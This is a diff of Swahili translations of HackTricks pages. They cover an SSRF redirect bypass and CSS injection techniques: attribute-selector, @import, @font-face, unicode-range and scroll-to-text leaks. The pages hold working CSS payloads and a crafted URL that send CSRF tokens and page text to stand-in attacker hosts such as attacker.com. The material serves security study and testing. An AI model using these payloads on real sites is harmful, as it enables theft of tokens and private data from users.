Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\
|
||||
Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama vile gopher.\
|
||||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -199,7 +199,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### Mbinu ya Mshale-nyuma
|
||||
|
||||
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kiwango cha URL cha WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti muhimu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
|
||||
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kiwango cha URL cha WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URI, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -214,22 +214,22 @@ picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsin
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Kufanya Kazi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,9 +24,9 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Kuingiza CSS
|
||||
|
||||
### Chaguo la Sifa
|
||||
### Chaguzi ya Aina
|
||||
|
||||
Vichaguzi vya CSS vimeundwa kufanana na thamani za `jina` na `thamani` za kipengele cha `input`. Ikiwa thamani ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa hulandwa:
|
||||
Vichaguzi vya CSS vimeundwa kufanana na thamani za sifa za `jina` na `thamani` za kipengele cha `input`. Ikiwa thamani ya sifa ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa hulandwa:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -39,28 +39,30 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Hata hivyo, njia hii inakabiliwa na kikwazo wakati inashughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.
|
||||
Hata hivyo, njia hii inakabiliwa na kikwazo wakati wa kushughulikia vipengele vya pembejeo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakii mandharinyuma.
|
||||
|
||||
#### Kupita kwa Vipengele Vilivyofichwa
|
||||
|
||||
Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia:
|
||||
Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma ipakie:
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
#### Mahitaji ya Kuingiza CSS
|
||||
Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika kificho kilichotolewa. Unaweza kuona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
Ili mbinu ya Kuingiza CSS iwe na ufanisi, hali fulani lazima zikutane:
|
||||
#### Vigezo vya Awali kwa CSS Injection
|
||||
|
||||
1. **Urefu wa Mzigo**: Vectori ya kuingiza CSS lazima iweze kusaidia mzigo wa kutosha kuwezesha wachaguzi ulioandaliwa.
|
||||
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na mzigo uliotengenezwa upya.
|
||||
3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuwa imezuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti.
|
||||
Kwa mbinu ya CSS Injection kuwa na ufanisi, hali fulani lazima zikutane:
|
||||
|
||||
### Mchaguzi wa Vipengele Viziwi
|
||||
1. **Urefu wa Payload**: Vector ya CSS injection lazima iweze kusaidia payloads ndefu vya kutosha kuingiza machaguo yaliyoundwa.
|
||||
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na payloads zilizoundwa upya.
|
||||
3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuzuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti.
|
||||
|
||||
Kama [**inavyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), ni rahisi kuunganisha wachaguzi **`:has`** na **`:not`** kutambua yaliyomo hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo lolote la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\
|
||||
Pia ni rahisi kutumia wachaguzi hao kutolea habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile:
|
||||
### Mteuzi wa Vipengele Viziwi
|
||||
|
||||
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha mteuzi **`:has`** na **`:not`** kutambua maudhui hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\
|
||||
Pia inawezekana kutumia mteuzi hao kutoa habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
|
@ -70,34 +72,34 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, inawezekana kuvuja kiasi kikubwa cha **maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, inawezekana kuchota mengi ya **maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka CSS injection katika ukurasa unaoweza kuvuja kupitia iframe**.
|
||||
Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka iframe kwenye ukurasa ulio hatarini kwa CSS injection**.
|
||||
|
||||
Hata hivyo, kuna mbinu nyingine nzuri inayotumia **CSS `@import`** kuboresha ubora wa mbinu.
|
||||
|
||||
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:
|
||||
|
||||
Badala ya kupakia ukurasa huo mara kwa mara na maelfu ya mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio mizigo ya kutuma kwa muathiriwa):
|
||||
Badala ya kupakia ukurasa huo mara kwa mara na zaidi ya payloads tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio payload ya kutuma kwa muathiriwa):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. Import itapokea **mskripti wa CSS** kutoka kwa wachomozaji na **kivinjari kitaiload**.
|
||||
2. Sehemu ya kwanza ya mskripti wa CSS ambayo mchomozaji atatuma ni **`@import` nyingine kwa seva ya wachomozaji tena**.
|
||||
3. Seva ya wachomozaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu uagizaji huu na mzigo wa kuvuja wengine.
|
||||
1. Import itapokea **CSS script** kutoka kwa wachomaji na **kivinjari kitaiload**.
|
||||
2. Sehemu ya kwanza ya CSS script wachomaji watatuma ni **`@import` nyingine kwa seva ya wachomaji tena**.
|
||||
3. Seva ya wachomaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu kuingiza hii na mzigo wa kuvuja wengine.
|
||||
4. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la sifa**.
|
||||
5. Hii itatuma kwa seva ya wachomozaji **herufi ya kwanza ya siri na ya mwisho**.
|
||||
6. Mara tu seva ya wachomozaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu uagizaji uliotakiwa katika hatua ya 2.
|
||||
5. Hii itatuma kwa seva ya wachomaji **herufi ya kwanza ya siri na ya mwisho**.
|
||||
6. Mara tu seva ya wachomaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu kuingiza iliyotakiwa katika hatua ya 2.
|
||||
7. Majibu yatakuwa sawa na **hatua 2, 3 na 4**, lakini wakati huu itajaribu **kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho**.
|
||||
|
||||
Mchomozaji ataendelea **mzunguko huo hadi aweze kuvuja kabisa siri**.
|
||||
Mchomaji ataendelea **mzunguko huo hadi aweze kuvuja kabisa siri**.
|
||||
|
||||
Unaweza kupata [**msimbo wa Pepe Vila kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**msimbo sawa lakini uliocommenti hapa**.](./#css-injection)
|
||||
Unaweza kupata [**msimbo wa Pepe Vila wa kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**msimbo sawa lakini uliocommentiwa hapa**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Mskripti itajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:
|
||||
Msimbo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -109,7 +111,7 @@ Hii inaruhusu script kuvuja siri haraka.
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wakati mwingine script **haigundui kwa usahihi kwamba kipimo + kufikishwa kilichogunduliwa tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo) na nyuma (kwenye kufikishwa) na wakati fulani itasimama.\
|
||||
Wakati mwingine script **haigundui kwa usahihi kwamba kipimo cha awali + kipimo cha mwisho kilichopatikana tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo cha awali) na nyuma (kwenye kipimo cha mwisho) na wakati fulani itasimama.\
|
||||
Usiwe na wasiwasi, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -117,18 +119,18 @@ Usiwe na wasiwasi, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo
|
|||
|
||||
Njia nyingine za kufikia sehemu za DOM na **vichaguzi vya CSS**:
|
||||
|
||||
* **`.darasa-ya-kutafuta:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "darasa-ya-kutafuta" katika DOM.
|
||||
* Chaguzi **`:tupu`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
* **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-to-search" kwenye DOM.
|
||||
* Chaguzi **`:empty`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:tupu { background-image: url("URL_YAKO_YA_SERVER?1"); }
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||
```
|
||||
|
||||
### XS-Search Inayotegemea Makosa
|
||||
|
||||
**Marejeleo:** [Shambulio la Kulingana na CSS: Kutumia unicode-range ya @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC Inayotegemea Makosa na @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Marejeleo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Nia kuu ni **kutumia fonti ya desturi kutoka kwa kituo kilichodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonyeshwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
|
||||
Nia kuu ni **kutumia fonti ya desturi kutoka kwa mwisho uliodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonekana na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -152,46 +154,46 @@ font-family: 'poc';
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Matumizi ya Fonti ya Kawaida**:
|
||||
- Fonti ya kawaida inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
|
||||
- Fonti inaitwa `poc` na inapakuliwa kutoka kwa mwisho wa nje (`http://attacker.com/?leak`).
|
||||
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
|
||||
1. **Matumizi ya Fonti ya Kipekee**:
|
||||
- Fonti ya kipekee inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
|
||||
- Fonti inaitwa `poc` na inapakuliwa kutoka kwa mwisho wa nje (`http://attacker.com/?leak`).
|
||||
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
|
||||
|
||||
2. **Kipengele cha Kitu na Nakala ya Mbadala**:
|
||||
- Kipengele cha `<object>` chenye `id="poc0"` kimeundwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
|
||||
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
|
||||
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya `<object>` itaonyeshwa.
|
||||
- Maudhui ya mbadala ('A') yataonyeshwa kutumia fonti ya kawaida `poc` ikiwa rasilimali ya nje haiwezi kupakia.
|
||||
- Kipengele cha `<object>` chenye `id="poc0"` kinajengwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
|
||||
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
|
||||
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya `<object>` yataonyeshwa.
|
||||
- Maudhui ya mbadala ('A') yatachorwa kutumia fonti ya kipekee `poc` ikiwa rasilimali ya nje haiwezi kupakuliwa.
|
||||
|
||||
### Kuunda Mtindo wa Sehemu ya Nakala ya Kuelekea
|
||||
### Kuweka Mzizi wa Matini ya Sehemu
|
||||
|
||||
Pseudo-class ya **`:target`** inatumika kuchagua kipengele kilicholengwa na **sehemu ya URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` hailingani na vipengele vyovyote isipokuwa ikiwa nakala inalengwa wazi na sehemu.
|
||||
**`:target`** pseudo-class inatumika kuchagua kipengele kilicholengwa na **mzizi wa URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` hailingani na vipengele vyovyote isipokuwa ikiwa matini inalengwa wazi na mzizi.
|
||||
|
||||
Wasiwasi wa usalama unatokea wakati wadukuzi wanatumia kipengele cha **Scroll-to-text** fragment, kuruhusu kuthibitisha uwepo wa nakala maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia kuingiza HTML. Mbinu hii inajumuisha kuingiza sheria ya CSS kama hii:
|
||||
Wasiwasi wa usalama unatokea wakati wahalifu wanatumia kipengele cha mzizi wa matini, kuruhusu kuthibitisha uwepo wa matini maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia kuingiza HTML. Mbinu hii inajumuisha kuingiza sheria ya CSS kama hii:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyoinjiliwa pamoja na kipande cha maandishi ya Scroll-to-text:
|
||||
Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyodungwa pamoja na kipande cha maandishi cha Scroll-to-text:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Hapa, shambulio linabadilisha kuingiza HTML ili kuhamisha nambari ya CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yamepatikana, rasilimali iliyoelekezwa huload, ikitoa ishara isiyo ya makusudi ya uwepo wake kwa muhusika.
|
||||
Hapa, shambulio linabadilisha uingizaji wa HTML ili kuhamisha msimbo wa CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yataonekana, rasilimali iliyoelekezwa itapakiwa, ikionyesha uwepo wake kwa mkaidi.
|
||||
|
||||
Kwa kupunguza madhara, mambo yafuatayo yanapaswa kuzingatiwa:
|
||||
|
||||
1. **Ulinganishi Mdogo wa STTF**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kikizuia uwezo wake wa kufichua siri au vitambulisho vya aina yoyote.
|
||||
2. **Kizuizi kwa Muktadha wa Kivinjari cha Juu**: STTF inafanya kazi tu katika muktadha wa juu wa kivinjari na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyonyaji kuwa dhahiri zaidi kwa mtumiaji.
|
||||
3. **Hitaji la Kuchochea Mtumiaji**: STTF inahitaji ishara ya kuchochea mtumiaji ili kufanya kazi, maana yake unyonyaji ni wa kufanyika tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.
|
||||
1. **Ulinganishi wa STTF uliopunguzwa**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kupunguza uwezo wake wa kufichua siri au vitambulisho vya aina yoyote.
|
||||
2. **Kizuizi kwa Muktadha wa Kivinjari cha Juu**: STTF inafanya kazi tu katika muktadha wa juu wa kivinjari na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyonyaji kuwa wazi zaidi kwa mtumiaji.
|
||||
3. **Hitaji la Kuchochewa na Mtumiaji**: STTF inahitaji ishara ya kuchochewa na mtumiaji ili kufanya kazi, maana yake unyonyaji unawezekana tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.
|
||||
|
||||
Kuwa na ufahamu wa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.
|
||||
Kuelewa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.
|
||||
|
||||
Kwa habari zaidi angalia ripoti ya asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Kwa maelezo zaidi angalia ripoti asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Unaweza kuangalia [**kutumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu **ikiwa thamani hizo za unicode zitapatikana** kwenye ukurasa. Kwa mfano:
|
||||
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu ikiwa thamani hizo za unicode zitakuwepo kwenye ukurasa. Kwa mfano:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -222,7 +224,7 @@ Wakati unapofikia ukurasa huu, Chrome na Firefox huchukua "?A" na "?B" kwa sabab
|
|||
|
||||
**Kumbukumbu:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia ligatures ya font na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa:
|
||||
Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia ligatures ya fonti na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa:
|
||||
|
||||
1. **Uundaji wa Fonti za Kibinafsi**:
|
||||
- Fonti za SVG zinaundwa na glyphs zenye sifa ya `horiz-adv-x`, ambayo huanzisha upana mkubwa kwa glyph inayowakilisha mfululizo wa wahusika wawili.
|
||||
|
@ -230,7 +232,7 @@ Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa kipande kwa kutumia liga
|
|||
- Fonti hizi kisha hubadilishwa kuwa muundo wa woff kwa kutumia fontforge.
|
||||
|
||||
